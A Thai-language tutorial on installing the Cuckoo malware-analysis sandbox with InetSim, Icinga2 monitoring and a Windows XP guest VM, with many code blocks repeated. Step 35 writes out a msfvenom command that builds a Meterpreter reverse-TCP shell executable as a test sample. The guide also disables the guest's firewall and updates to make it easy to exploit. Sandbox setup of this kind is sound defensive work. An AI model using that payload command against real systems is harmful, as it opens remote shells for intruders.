วิธีการติดตั้ง Cuckoo - Automated Malware Analysis

Cuckoo ถือเป็นเครื่องมือที่ยอดนิยมสำหรับ Malware Analysis ซึ่งทำให้ทุ่นแรงในการทำ Dynamic Analysis มาก ลดทั้งเวลาและขั้นตอนการทำ มาดูกันว่าเวลาการติดตั้งจะทำอย่างไรบ้างครับ

(Post นี้ทดสอบใน Ubuntu 16.04 64bit ครับ)

1. ติดตั้ง Application ที่จำเป็น

apt-get install python python-sqlalchemy python-bson python-dpkt python-jinja2 python-magic python-pymongo python-gridfs python-libvirt python-bottle python-pefile bridge-utils python-pyrex tcpdump libjpeg8-dev zlib1g-dev libfreetype6-dev liblcms2-dev libwebp-dev tcl8.5-dev tk8.5-dev python-tk swig perl perl-base perl-modules-5.22 libnet-server-perl libnet-dns-perl libipc-shareable-perl libio-socket-ssl-perl -y

apt-get install python python-sqlalchemy python-bson python-dpkt python-jinja2 python-magic python-pymongo python-gridfs python-libvirt python-bottle python-pefile bridge-utils python-pyrex tcpdump libjpeg8-dev zlib1g-dev libfreetype6-dev liblcms2-dev libwebp-dev tcl8.5-dev tk8.5-dev python-tk swig perl perl-base perl-modules-5.22 libnet-server-perl libnet-dns-perl libipc-shareable-perl libio-socket-ssl-perl -y

2. ติดตั้ง lib โดยใช้ python

pip install jinja2 pymongo bottle pefile cybox maec django chardet

1	pip install jinja2 pymongo bottle pefile cybox maec django chardet

3. Set เรื่องการ sniff packet

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
apt-get install apparmor-utils
aa-disable /usr/sbin/tcpdump

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

getcap /usr/sbin/tcpdump

apt-get install apparmor-utils

aa-disable /usr/sbin/tcpdump

4. ติดตั้ง package เพิ่มเติม

wget https://downloads.sourceforge.net/project/ssdeep/ssdeep-2.13/ssdeep-2.13.tar.gz
tar xvf ssdeep-2.13.tar.gz
cd ssdeep-2.13
./configure && make && make install

git clone https://github.com/kbandla/pydeep
cd pydeep
python setup.py build
python setup.py install

apt-get install yara python-yara

git clone https://github.com/gdabah/distorm
python setup.py build
python setup.py install

wget http://downloads.volatilityfoundation.org/releases/2.6/volatility_2.6_lin64_standalone.zip
unzip volatility_2.6_lin64_standalone.zip
cd volatility_2.6_lin64_standalone
mv volatility_2.6_lin64_standalone /usr/sbin/volatility

apt-get install virtualbox

pip install requests==2.7.0
pip install requests==2.13.0

wget https://downloads.sourceforge.net/project/ssdeep/ssdeep-2.13/ssdeep-2.13.tar.gz

tar xvf ssdeep-2.13.tar.gz

cd ssdeep-2.13

./configure && make && make install

git clone https://github.com/kbandla/pydeep

cd pydeep

python setup.py build

python setup.py install

apt-get install yara python-yara

git clone https://github.com/gdabah/distorm

python setup.py build

python setup.py install

wget http://downloads.volatilityfoundation.org/releases/2.6/volatility_2.6_lin64_standalone.zip

unzip volatility_2.6_lin64_standalone.zip

cd volatility_2.6_lin64_standalone

mv volatility_2.6_lin64_standalone /usr/sbin/volatility

apt-get install virtualbox

pip install requests==2.7.0

pip install requests==2.13.0

5. สร้าง user สำหรับ cuckoo และติดตั้ง cuckoo

adduser cuckoo
usermod -G vboxusers cuckoo
sudo pip install -U pip setuptools
sudo pip install -U cuckoo

adduser cuckoo

usermod -G vboxusers cuckoo

sudo pip install -U pip setuptools

sudo pip install -U cuckoo

6. สร้าง iptables สำหรับการ monitoring traffic

sudo iptables -t nat -A POSTROUTING -o eth0 -s 192.168.56.0/24 -j MASQUERADE

# Default drop.
sudo iptables -P FORWARD DROP

# Existing connections.
sudo iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT

# Accept connections from vboxnet to the whole internet.
sudo iptables -A FORWARD -s 192.168.56.0/24 -j ACCEPT

# Internal traffic.
sudo iptables -A FORWARD -s 192.168.56.0/24 -d 192.168.56.0/24 -j ACCEPT

# Log stuff that reaches this point (could be noisy).
sudo iptables -A FORWARD -j LOG

sudo iptables -t nat -A POSTROUTING -o eth0 -s 192.168.56.0/24 -j MASQUERADE

# Default drop.

sudo iptables -P FORWARD DROP

# Existing connections.

sudo iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT

# Accept connections from vboxnet to the whole internet.

sudo iptables -A FORWARD -s 192.168.56.0/24 -j ACCEPT

# Internal traffic.

sudo iptables -A FORWARD -s 192.168.56.0/24 -d 192.168.56.0/24 -j ACCEPT

# Log stuff that reaches this point (could be noisy).

sudo iptables -A FORWARD -j LOG

7. กำหนดให้สามารถทำ ip forwarding ได้

echo 1 | sudo tee -a /proc/sys/net/ipv4/ip_forward
sudo sysctl -w net.ipv4.ip_forward=1

1 2	echo 1 \| sudo tee -a /proc/sys/net/ipv4/ip_forward sudo sysctl -w net.ipv4.ip_forward=1

8. ติดตั้ง iptables-persistent เพื่อให้ iptables rule นั้นถูกโหลดเมื่อทำการ restart เครื่อง

sudo apt-get install iptables-persistent

1	sudo apt-get install iptables-persistent

9. สร้าง Interface สำหรับหน้าที่ต่างๆ

None Routing	Routing แบบที่ไม่ได้ไปไหนต่อ
Drop Routing	Drop traffic ทั้งหมดที่ไม่ใช่ cuckoo, รวมถึง subnet VM net ด้วย
Internet Routing	เข้าถึง internet ได้ปกติ (เรียกว่าสายที่สกปรก (Dirty Line) เพราะว่า malware จะใช้ network นี้เพื่อจะไปดึง payload ที่เหลือมาใช้)
InetSim Routing	Route ทั้งหมดไปที่ InetSim instance – ซึ่งจะมีแต่ fake services ต่างๆ เอาไว้หลอก Malware ที่พยายามติดต่อไปข้างนอก
Tor Routing	Routes all traffic through Tor.
VPN Routing	Routes all traffic through one of perhaps multiple pre-defined VPN endpoints.

10. กำหนดไฟล์ /etc/iproute2/rt_tables เพื่อให้สามารถใช้ iproute2 ได้ โดยการใส่ interface ของเราเข้าไปในนั้น

#
# reserved values
#
255     local
254     main
253     default
0       unspec
#
# local
#

400     eth0

# reserved values

255 local

254 main

253 default

0 unspec

# local

400 eth0

11. ติดตั้ง InetSim,

groupadd inetsim
echo "deb http://www.inetsim.org/debian/ binary/" >> /etc/apt/sources.list
wget -O - http://www.inetsim.org/inetsim-archive-signing-key.asc | apt-key add -
aptitude update
aptitude install inetsim -y

groupadd inetsim

echo "deb http://www.inetsim.org/debian/ binary/" >> /etc/apt/sources.list

wget -O - http://www.inetsim.org/inetsim-archive-signing-key.asc | apt-key add -

aptitude update

aptitude install inetsim -y

12. Set InetSim ทั้งหมดเป็น IP ที่เราตั้งใน VBox ซึ่งในที่นี้ผมใช้เป็น 192.168.56.1 ดังนั้นใน /etc/inetsim/inetsim.conf

service_bind_address    192.168.56.1
หากเราต้องการ set DNS Query ทั้งหมดให้มายังเครื่อง InetSim ต้องกำหนดให้ InetSim บริการ DNS ด้วย โดย set
dns_default_ip    192.168.56.1

service_bind_address 192.168.56.1

หากเราต้องการ set DNS Query ทั้งหมดให้มายังเครื่อง InetSim ต้องกำหนดให้ InetSim บริการ DNS ด้วย โดย set

dns_default_ip 192.168.56.1

13. Start cuckoo เพื่อให้สร้าง configuration ให้

cuckoo -d

cuckoo -d

Configuration ที่ถูกสร้างจะมีดังนี้

cuckoo.conf: สำหรับ behavior และ analysis options.
auxiliary.conf: สำหรับ enabling และ configuring auxiliary modules.
<machinery>.conf: สำหรับการกำหนด option ของแต่ละ virtualization software (ซึ่งไฟล์จะมีชื่อเดียวกับที่เรากำหนดใน cuckoo.conf).
memory.conf: Volatility configuration.
processing.conf: สำหรับ enabling และ configuring processing modules.
reporting.conf: สำหรับ enabling และ disabling report formats.
routing.conf: เป็นส่วนกำหนด routing ของ Virtual Machine

14. แก้ไข routing.conf

vim /home/<username>/.cuckoo/conf/routing.conf

1	vim /home/<username>/.cuckoo/conf/routing.conf

15. กำหนด inetsim เป็น

[inetsim]
enabled = yes
server = 192.168.56.1

[inetsim]

enabled = yes

server = 192.168.56.1

16. ติดตั้ง Ichinga2 เพื่อเอาไว้ monitor Cuckoo

wget -O - http://packages.icinga.org/icinga.key | apt-key add -
echo 'deb http://packages.icinga.com/ubuntu icinga-zesty main' > /etc/apt/sources.list.d/icinga.list
echo 'deb-src http://packages.icinga.com/ubuntu icinga-zesty main' >> /etc/apt/sources.list.d/icinga.list
apt-get update
apt-get install icinga2 php-icinga
echo 'date.timezone = "Asia/Bangkok"' >> /etc/php/7.0/fpm/php.ini
icinga2 feature enable command
service icinga2 restart

wget -O - http://packages.icinga.org/icinga.key | apt-key add -

echo 'deb http://packages.icinga.com/ubuntu icinga-zesty main' > /etc/apt/sources.list.d/icinga.list

echo 'deb-src http://packages.icinga.com/ubuntu icinga-zesty main' >> /etc/apt/sources.list.d/icinga.list

apt-get update

apt-get install icinga2 php-icinga

echo 'date.timezone = "Asia/Bangkok"' >> /etc/php/7.0/fpm/php.ini

icinga2 feature enable command

service icinga2 restart

17. ติดตั้ง postgresql และ setup database ให้

apt-get install postgresql icinga2-ido-pgsql
sudo -u postgres psql
postgres=# CREATE USER icingaweb WITH PASSWORD 'p@ssw0rd';
postgres=# CREATE DATABASE icingaweb;
postgres=# \q

apt-get install postgresql icinga2-ido-pgsql

sudo -u postgres psql

postgres=# CREATE USER icingaweb WITH PASSWORD 'p@ssw0rd';

postgres=# CREATE DATABASE icingaweb;

postgres=# \q

18. สร้างไฟล์ /etc/icinga2/features-enabled/ido-pgsql.conf ขึ้นมา จากนั้นใส่เนื้อหาเป็น

library "db_ido_pgsql"

object IdoPgsqlConnection "ido-pgsql" {
    user = "icinga2",
    password = "p@ssw0rd",
    host = "localhost",
    database = "icinga2"
}

library "db_ido_pgsql"

object IdoPgsqlConnection "ido-pgsql" {

user = "icinga2",

password = "p@ssw0rd",

host = "localhost",

database = "icinga2"

}

19. ติดตั้ง icingaweb2

apt-get install icingaweb2 icingaweb2-common php-icinga php-pdo-pgsql

1	apt-get install icingaweb2 icingaweb2-common php-icinga php-pdo-pgsql

20. สร้างไฟล์ configuration ของ icinga ใน nginx ขึ้นมา (/etc/nginx/sites-available/icinga)

server {
    listen 0.0.0.0:80;

    server_name icinga2.yourdomain.tld;

    location ~ ^/index\.php(.*)$ {
        fastcgi_pass unix:/run/php/php7.0-fpm.sock;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME /usr/share/icingaweb2/public/index.php;
        fastcgi_param ICINGAWEB_CONFIGDIR /etc/icingaweb2;
    }

    location ~ ^/(.*)? {
        allow all;

        alias /usr/share/icingaweb2/public;
        index index.php;

        rewrite ^/$ /dashboard;
        try_files $1 $uri $uri/ /index.php$is_args$args;
    }
}

server {

listen 0.0.0.0:80;

server_name icinga2.yourdomain.tld;

location ~ ^/index\.php(.*)$ {

fastcgi_pass unix:/run/php/php7.0-fpm.sock;

fastcgi_index index.php;

include fastcgi_params;

fastcgi_param SCRIPT_FILENAME /usr/share/icingaweb2/public/index.php;

fastcgi_param ICINGAWEB_CONFIGDIR /etc/icingaweb2;

}

location ~ ^/(.*)? {

allow all;

alias /usr/share/icingaweb2/public;

index index.php;

rewrite ^/$ /dashboard;

try_files $1 $uri $uri/ /index.php$is_args$args;

}

21. นำไฟล์ default ใน site-enabled ออก แล้ว link icinga จาก sites-available เข้าไป

ln -s /etc/nginx/sites-available/icinga /etc/nginx/sites-enabled/
cd /etc/nginx/sites-enabled/
rm default
/etc/init.d/nginx restart

ln -s /etc/nginx/sites-available/icinga /etc/nginx/sites-enabled/

cd /etc/nginx/sites-enabled/

rm default

/etc/init.d/nginx restart

22. สร้าง Token ขึ้นมาโดยใช้คำสั่ง

icingacli setup token create

1	icingacli setup token create

23. เข้าไปที่ http://localhost แล้วใส่ Token

Step ‘modules’, click Next
Step ‘icinga web 2’, should be all green
Step ‘Authentication’, click Next
Step ‘Database Resource’, fill in PostgreSQL details

step ‘Authentication Backend’, click Next
step ‘Administration’, create an admin account
Next on all steps

24. สร้าง master node รองรับการ monitor node ใดๆของ icinga2

icinga2 node wizard

1	icinga2 node wizard

root@lab-64:~# icinga2 node wizard
Welcome to the Icinga 2 Setup Wizard!

We'll guide you through all required configuration details.

Please specify if this is a satellite setup ('n' installs a master setup) [Y/n]: n
Starting the Master setup routine...
Please specify the common name (CN) [lab-64]: cuckoomaster 
Checking for existing certificates for common name 'cuckoomaster'...
Certificates not yet generated. Running 'api setup' now.
information/cli: Generating new CA.
information/base: Writing private key to '/var/lib/icinga2/ca/ca.key'.
information/base: Writing X509 certificate to '/var/lib/icinga2/ca/ca.crt'.
information/cli: Generating new CSR in '/etc/icinga2/pki/cuckoomaster.csr'.
information/base: Writing private key to '/etc/icinga2/pki/cuckoomaster.key'.
information/base: Writing certificate signing request to '/etc/icinga2/pki/cuckoomaster.csr'.
information/cli: Signing CSR with CA and writing certificate to '/etc/icinga2/pki/cuckoomaster.crt'.
information/pki: Writing certificate to file '/etc/icinga2/pki/cuckoomaster.crt'.
information/cli: Copying CA certificate to '/etc/icinga2/pki/ca.crt'.
Generating master configuration for Icinga 2.
information/cli: Adding new ApiUser 'root' in '/etc/icinga2/conf.d/api-users.conf'.
information/cli: Enabling the 'api' feature.
Enabling feature api. Make sure to restart Icinga 2 for these changes to take effect.
information/cli: Dumping config items to file '/etc/icinga2/zones.conf'.
information/cli: Created backup file '/etc/icinga2/zones.conf.orig'.
Please specify the API bind host/port (optional):
Bind Host []: 127.0.0.1
Bind Port []: 
information/cli: Created backup file '/etc/icinga2/features-available/api.conf.orig'.
warning/cli: CN 'cuckoomaster' does not match the default FQDN 'lab-64'. Requires update for NodeName constant in constants.conf!
information/cli: Updating constants.conf.
information/cli: Created backup file '/etc/icinga2/constants.conf.orig'.
information/cli: Updating constants file '/etc/icinga2/constants.conf'.
information/cli: Updating constants file '/etc/icinga2/constants.conf'.
information/cli: Updating constants file '/etc/icinga2/constants.conf'.
Done.

Now restart your Icinga 2 daemon to finish the installation!

root@lab-64:~# icinga2 node wizard

Welcome to the Icinga 2 Setup Wizard!

We'll guide you through all required configuration details.

Please specify if this is a satellite setup ('n' installs a master setup) [Y/n]: n

Starting the Master setup routine...

Please specify the common name (CN) [lab-64]: cuckoomaster

Checking for existing certificates for common name 'cuckoomaster'...

Certificates not yet generated. Running 'api setup' now.

information/cli: Generating new CA.

information/base: Writing private key to '/var/lib/icinga2/ca/ca.key'.

information/base: Writing X509 certificate to '/var/lib/icinga2/ca/ca.crt'.

information/cli: Generating new CSR in '/etc/icinga2/pki/cuckoomaster.csr'.

information/base: Writing private key to '/etc/icinga2/pki/cuckoomaster.key'.

information/base: Writing certificate signing request to '/etc/icinga2/pki/cuckoomaster.csr'.

information/cli: Signing CSR with CA and writing certificate to '/etc/icinga2/pki/cuckoomaster.crt'.

information/pki: Writing certificate to file '/etc/icinga2/pki/cuckoomaster.crt'.

information/cli: Copying CA certificate to '/etc/icinga2/pki/ca.crt'.

Generating master configuration for Icinga 2.

information/cli: Adding new ApiUser 'root' in '/etc/icinga2/conf.d/api-users.conf'.

information/cli: Enabling the 'api' feature.

Enabling feature api. Make sure to restart Icinga 2 for these changes to take effect.

information/cli: Dumping config items to file '/etc/icinga2/zones.conf'.

information/cli: Created backup file '/etc/icinga2/zones.conf.orig'.

Please specify the API bind host/port (optional):

Bind Host []: 127.0.0.1

Bind Port []:

information/cli: Created backup file '/etc/icinga2/features-available/api.conf.orig'.

warning/cli: CN 'cuckoomaster' does not match the default FQDN 'lab-64'. Requires update for NodeName constant in constants.conf!

information/cli: Updating constants.conf.

information/cli: Created backup file '/etc/icinga2/constants.conf.orig'.

information/cli: Updating constants file '/etc/icinga2/constants.conf'.

Done.

Now restart your Icinga 2 daemon to finish the installation!

/etc/init.d/icinga2 restart

1	/etc/init.d/icinga2 restart

25. สร้าง node การ monitor ของ icinga2 สำหรับ Cuckoo

icinga2 pki ticket --cn 'cuckooicinga2'

1	icinga2 pki ticket --cn 'cuckooicinga2'

root@lab-64:~# icinga2 node wizard
Welcome to the Icinga 2 Setup Wizard!

We'll guide you through all required configuration details.

Please specify if this is a satellite setup ('n' installs a master setup) [Y/n]:  
Starting the Node setup routine...
Please specify the common name (CN) [lab-64]: cuckooicinga2
Please specify the master endpoint(s) this node should connect to:
Master Common Name (CN from your master setup): cuckoomaster
Do you want to establish a connection to the master from this node? [Y/n]: 
Please fill out the master connection information:
Master endpoint host (Your master's IP address or FQDN): 127.0.0.1 
Master endpoint port [5665]: 
Add more master endpoints? [y/N]: N
Please specify the master connection for CSR auto-signing (defaults to master endpoint host):
Host [127.0.0.1]: 
Port [5665]: 
warning/cli: Backup file '/etc/icinga2/pki/cuckooicinga2.key.orig' already exists. Skipping backup.
warning/cli: Backup file '/etc/icinga2/pki/cuckooicinga2.crt.orig' already exists. Skipping backup.
information/base: Writing private key to '/etc/icinga2/pki/cuckooicinga2.key'.
information/base: Writing X509 certificate to '/etc/icinga2/pki/cuckooicinga2.crt'.
information/cli: Fetching public certificate from master (127.0.0.1, 5665):

Certificate information:

 Subject:     CN = cuckoomaster
 Issuer:      CN = Icinga CA
 Valid From:  Jul 10 04:18:02 2017 GMT
 Valid Until: Jul  6 04:18:02 2032 GMT
 Fingerprint: 78 6B 82 C6 68 77 6E E8 E3 16 DB 64 66 CD AE 92 A2 79 43 A2 

Is this information correct? [y/N]: y
information/cli: Received trusted master certificate.

Please specify the request ticket generated on your Icinga 2 master.
 (Hint: # icinga2 pki ticket --cn 'cuckooicinga2'): 
Please specify the request ticket generated on your Icinga 2 master.
 (Hint: # icinga2 pki ticket --cn 'cuckooicinga2'): 809f5b57ff41c02a015ec3cc6652d5694f8e96a0
information/cli: Requesting certificate with ticket '809f5b57ff41c02a015ec3cc6652d5694f8e96a0'.

information/cli: Created backup file '/etc/icinga2/pki/ca.crt.orig'.
warning/cli: Backup file '/etc/icinga2/pki/cuckooicinga2.crt.orig' already exists. Skipping backup.
information/cli: Writing signed certificate to file '/etc/icinga2/pki/cuckooicinga2.crt'.
information/cli: Writing CA certificate to file '/etc/icinga2/pki/ca.crt'.
Please specify the API bind host/port (optional):
Bind Host []: 
Bind Port []: 
Accept config from master? [y/N]: y
Accept commands from master? [y/N]: y
information/cli: Disabling the Notification feature.
Disabling feature notification. Make sure to restart Icinga 2 for these changes to take effect.
information/cli: Enabling the Apilistener feature.
warning/cli: Feature 'api' already enabled.
warning/cli: Backup file '/etc/icinga2/features-available/api.conf.orig' already exists. Skipping backup.
information/cli: Generating local zones.conf.
information/cli: Dumping config items to file '/etc/icinga2/zones.conf'.
warning/cli: Backup file '/etc/icinga2/zones.conf.orig' already exists. Skipping backup.
warning/cli: CN 'cuckooicinga2' does not match the default FQDN 'lab-64'. Requires update for NodeName constant in constants.conf!
information/cli: Updating constants.conf.
warning/cli: Backup file '/etc/icinga2/constants.conf.orig' already exists. Skipping backup.
information/cli: Updating constants file '/etc/icinga2/constants.conf'.
information/cli: Updating constants file '/etc/icinga2/constants.conf'.
Done.

Now restart your Icinga 2 daemon to finish the installation!

root@lab-64:~# icinga2 node wizard

Welcome to the Icinga 2 Setup Wizard!

We'll guide you through all required configuration details.

Please specify if this is a satellite setup ('n' installs a master setup) [Y/n]:

Starting the Node setup routine...

Please specify the common name (CN) [lab-64]: cuckooicinga2

Please specify the master endpoint(s) this node should connect to:

Master Common Name (CN from your master setup): cuckoomaster

Do you want to establish a connection to the master from this node? [Y/n]:

Please fill out the master connection information:

Master endpoint host (Your master's IP address or FQDN): 127.0.0.1

Master endpoint port [5665]:

Add more master endpoints? [y/N]: N

Please specify the master connection for CSR auto-signing (defaults to master endpoint host):

Host [127.0.0.1]:

Port [5665]:

warning/cli: Backup file '/etc/icinga2/pki/cuckooicinga2.key.orig' already exists. Skipping backup.

warning/cli: Backup file '/etc/icinga2/pki/cuckooicinga2.crt.orig' already exists. Skipping backup.

information/base: Writing private key to '/etc/icinga2/pki/cuckooicinga2.key'.

information/base: Writing X509 certificate to '/etc/icinga2/pki/cuckooicinga2.crt'.

information/cli: Fetching public certificate from master (127.0.0.1, 5665):

Certificate information:

Subject: CN = cuckoomaster

Issuer: CN = Icinga CA

Valid From: Jul 10 04:18:02 2017 GMT

Valid Until: Jul 6 04:18:02 2032 GMT

Fingerprint: 78 6B 82 C6 68 77 6E E8 E3 16 DB 64 66 CD AE 92 A2 79 43 A2

Is this information correct? [y/N]: y

information/cli: Received trusted master certificate.

Please specify the request ticket generated on your Icinga 2 master.

(Hint: # icinga2 pki ticket --cn 'cuckooicinga2'):

Please specify the request ticket generated on your Icinga 2 master.

(Hint: # icinga2 pki ticket --cn 'cuckooicinga2'): 809f5b57ff41c02a015ec3cc6652d5694f8e96a0

information/cli: Requesting certificate with ticket '809f5b57ff41c02a015ec3cc6652d5694f8e96a0'.

information/cli: Created backup file '/etc/icinga2/pki/ca.crt.orig'.

warning/cli: Backup file '/etc/icinga2/pki/cuckooicinga2.crt.orig' already exists. Skipping backup.

information/cli: Writing signed certificate to file '/etc/icinga2/pki/cuckooicinga2.crt'.

information/cli: Writing CA certificate to file '/etc/icinga2/pki/ca.crt'.

Please specify the API bind host/port (optional):

Bind Host []:

Bind Port []:

Accept config from master? [y/N]: y

Accept commands from master? [y/N]: y

information/cli: Disabling the Notification feature.

Disabling feature notification. Make sure to restart Icinga 2 for these changes to take effect.

information/cli: Enabling the Apilistener feature.

warning/cli: Feature 'api' already enabled.

warning/cli: Backup file '/etc/icinga2/features-available/api.conf.orig' already exists. Skipping backup.

information/cli: Generating local zones.conf.

information/cli: Dumping config items to file '/etc/icinga2/zones.conf'.

warning/cli: Backup file '/etc/icinga2/zones.conf.orig' already exists. Skipping backup.

warning/cli: CN 'cuckooicinga2' does not match the default FQDN 'lab-64'. Requires update for NodeName constant in constants.conf!

information/cli: Updating constants.conf.

warning/cli: Backup file '/etc/icinga2/constants.conf.orig' already exists. Skipping backup.

information/cli: Updating constants file '/etc/icinga2/constants.conf'.

Done.

Now restart your Icinga 2 daemon to finish the installation!

/etc/init.d/icinga2 restart

1	/etc/init.d/icinga2 restart

เราสามารถ set ให้ทำการแจ้งเตือนใดๆได้โดยกำหนดที่ /etc/icinga2/conf.d/users.conf

object User "sysadmin" {
    display_name = "System Administrator"
    enable_notifications = true
    states = [ Warning, Critical ]
    types = [ Problem, Recovery ]
    email = "YOUREMAILADDRESS@YOURDOMAIN.TLD"
}

template Notification "generic-notification" {
    states = [ Warning, Critical, Unknown ]
    types = [ Problem, Acknowledgement, Recovery, Custom, FlappingStart,
              FlappingEnd, DowntimeStart, DowntimeEnd, DowntimeRemoved ]
}

apply Notification "notify-sysadmin" to Service {
    import "generic-notification"

    command = "notify-cuckoo"
    users = [ "sysadmin" ]

    assign where service.name in ["check_cuckoo", "ssh", "ping4"]
}

object NotificationCommand "notify-cuckoo" {
    import "plugin-notification-command"
    command = [
        SysconfDir + "/icinga2/scripts/notify.py"
    ]

    env = {
        NOTIFICATIONTYPE = "$notification.type$"
        SERVICEDESC = "$service.name$"
        HOSTALIAS = "$host.display_name$"
        HOSTADDRESS = "$address$"
        SERVICESTATE = "$service.state$"
        LONGDATETIME = "$icinga.long_date_time$"
        SERVICEOUTPUT = "$service.output$"
        NOTIFICATIONAUTHORNAME = "$notification.author$"
        NOTIFICATIONCOMMENT = "$notification.comment$"
        HOSTDISPLAYNAME = "$host.display_name$"
        SERVICEDISPLAYNAME = "$service.display_name$"
        USEREMAIL = "$user.email$"
    }

object User "sysadmin" {

display_name = "System Administrator"

enable_notifications = true

states = [ Warning, Critical ]

types = [ Problem, Recovery ]

email = "YOUREMAILADDRESS@YOURDOMAIN.TLD"

}

template Notification "generic-notification" {

states = [ Warning, Critical, Unknown ]

types = [ Problem, Acknowledgement, Recovery, Custom, FlappingStart,

FlappingEnd, DowntimeStart, DowntimeEnd, DowntimeRemoved ]

}

apply Notification "notify-sysadmin" to Service {

import "generic-notification"

command = "notify-cuckoo"

users = [ "sysadmin" ]

assign where service.name in ["check_cuckoo", "ssh", "ping4"]

}

object NotificationCommand "notify-cuckoo" {

import "plugin-notification-command"

command = [

SysconfDir + "/icinga2/scripts/notify.py"

]

env = {

NOTIFICATIONTYPE = "$notification.type$"

SERVICEDESC = "$service.name$"

HOSTALIAS = "$host.display_name$"

HOSTADDRESS = "$address$"

SERVICESTATE = "$service.state$"

LONGDATETIME = "$icinga.long_date_time$"

SERVICEOUTPUT = "$service.output$"

NOTIFICATIONAUTHORNAME = "$notification.author$"

NOTIFICATIONCOMMENT = "$notification.comment$"

HOSTDISPLAYNAME = "$host.display_name$"

SERVICEDISPLAYNAME = "$service.display_name$"

USEREMAIL = "$user.email$"

}

จากนั้นสร้างไฟล์ /etc/icinga2/scripts/notify.py ให้ทำการแจ้งเตือนด้วยสิ่งที่เราต้องการ

25. สร้าง Virtual Machine เพื่อสำหรับการทำ Sandbox

VBoxManage createvm --name "WindowsXP" --register

# กำหนด memory และ boot ผ่าน dvd
VBoxManage modifyvm "WindowsXP" --memory 1024 --acpi off --boot1 dvd
# กำหนด network interface เป็น hostonly
VBoxManage modifyvm "WindowsXP" --nic1 hostonly --hostonlyadapter1 vboxnet0
# กำหนด type ของ VM เป็น WindowsXP
VBoxManage modifyvm "WindowsXP" --ostype windowsxp

# สร้าง virtual hdd
VBoxManage createhd --filename /root/VirtualBox\ VMs/WindowsXP/WindowsXP.vdi --size 20480

# Add Virtual HDD ไปยัง Windows XP VM
VBoxManage storagectl "WindowsXP" --name "IDE Controller" --add ide
VBoxManage storageattach "WindowsXP" --storagectl "IDE Controller" --port 0 --device 0 --type hdd --medium /root/VirtualBox\ VMs/WindowsXP/WindowsXP.vdi
# Add ISO ไปยัง Windows XP VM
VBoxManage storageattach "WindowsXP" --storagectl "IDE Controller" --port 1 --device 0 --type dvddrive --medium /path/of/windows/xp

# เปิด port remote 3389
VBoxManage modifyvm "WindowsXP" --vrde on
# Start VM
VBoxHeadless --startvm "WindowsXP"

VBoxManage createvm --name "WindowsXP" --register

# กำหนด memory และ boot ผ่าน dvd

VBoxManage modifyvm "WindowsXP" --memory 1024 --acpi off --boot1 dvd

# กำหนด network interface เป็น hostonly

VBoxManage modifyvm "WindowsXP" --nic1 hostonly --hostonlyadapter1 vboxnet0

# กำหนด type ของ VM เป็น WindowsXP

VBoxManage modifyvm "WindowsXP" --ostype windowsxp

# สร้าง virtual hdd

VBoxManage createhd --filename /root/VirtualBox\ VMs/WindowsXP/WindowsXP.vdi --size 20480

# Add Virtual HDD ไปยัง Windows XP VM

VBoxManage storagectl "WindowsXP" --name "IDE Controller" --add ide

VBoxManage storageattach "WindowsXP" --storagectl "IDE Controller" --port 0 --device 0 --type hdd --medium /root/VirtualBox\ VMs/WindowsXP/WindowsXP.vdi

# Add ISO ไปยัง Windows XP VM

VBoxManage storageattach "WindowsXP" --storagectl "IDE Controller" --port 1 --device 0 --type dvddrive --medium /path/of/windows/xp

# เปิด port remote 3389

VBoxManage modifyvm "WindowsXP" --vrde on

# Start VM

VBoxHeadless --startvm "WindowsXP"

26. Remote เข้าไปเพื่อทำการ setup Windows หรือจะเปิด Virtualbox เพื่อทำการติดตั้งในส่วนที่เหลือ

27. เปลี่ยน mode ของ Virtual Machine ให้เป็น NAT เพื่อติดตั้ง client ของ Cuckoo

VBoxManage modifyvm "WindowsXP" --nic1 nat

1	VBoxManage modifyvm "WindowsXP" --nic1 nat

28. เพื่อให้เหมาะกับทั้ง environment สำหรับการ monitor โดย Cuckoo และการ set ให้ง่ายต่อการแฮ็ค ทำดังนี้

ทำการติดตั้ง Python ใน Windows XP
ปิดการใช้งาน Windows Firewall
ปิดการใช้งาน Autoupdate
ลง Adobe Reader version 9 และ Microsoft Office

29. ติดตั้ง agent ของ Cuckoo โดย copy file จาก /home/<username>/.cuckoo/agent/agent.py ไปไว้ใน Virtual Machine C:\Windows\System32

30. แก้ไข Registry startup เพื่อให้ agent รันทุกๆครั้งที่เปิดเครื่อง

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /t Reg_Sz /v CuckooAgent /d "C:Windows\System32\agent.py"

1	reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /t Reg_Sz /v CuckooAgent /d "C:Windows\System32\agent.py"

31. เอา nat ออกแล้วทำการ down Virtual Machine เพื่อทำ snapshot

VBoxManage modifyvm "WindowsXP" --nic2 none
VBoxManage snapshot "WindowsXP" take "After preparing"

1 2	VBoxManage modifyvm "WindowsXP" --nic2 none VBoxManage snapshot "WindowsXP" take "After preparing"

32. Configure Cuckoo

/home/<username>/.cuckoo/conf/virtualbox.conf

1	/home/<username>/.cuckoo/conf/virtualbox.conf

[virtualbox]
mode = headless
path = /usr/bin/VBoxManage
interface = vboxnet0
machines = WindowsXP

[WindowsXP]
label = WindowsXP
platform = windows
ip = 192.168.56.101

[virtualbox]

mode = headless

path = /usr/bin/VBoxManage

interface = vboxnet0

machines = WindowsXP

[WindowsXP]

label = WindowsXP

platform = windows

ip = 192.168.56.101

33. กลับมาเปิด WindowsXP

VBoxHeadless --startvm "WindowsXP"

1	VBoxHeadless --startvm "WindowsXP"

34. Run cuckoo

cuckoo rooter /tmp/cuckoo-rooter
cuckoo -d

1 2	cuckoo rooter /tmp/cuckoo-rooter cuckoo -d

35. สร้างไฟล์ Malicious file ด้วย Metasploit

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.3 LPORT=4444 -f exe -o malware.exe

1	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.3 LPORT=4444 -f exe -o malware.exe

36. Submit file

cuckoo submit malware.exe

1	cuckoo submit malware.exe

เราสามารถ submit ได้หลายแบบ

# Submit URL
cuckoo submit --url http://www.example.com
# Submit file โดยกำหนด priority
$ cuckoo submit --priority 5 /path/to/binary
# Submit file โดยกำหนด timeout ของการ analysis
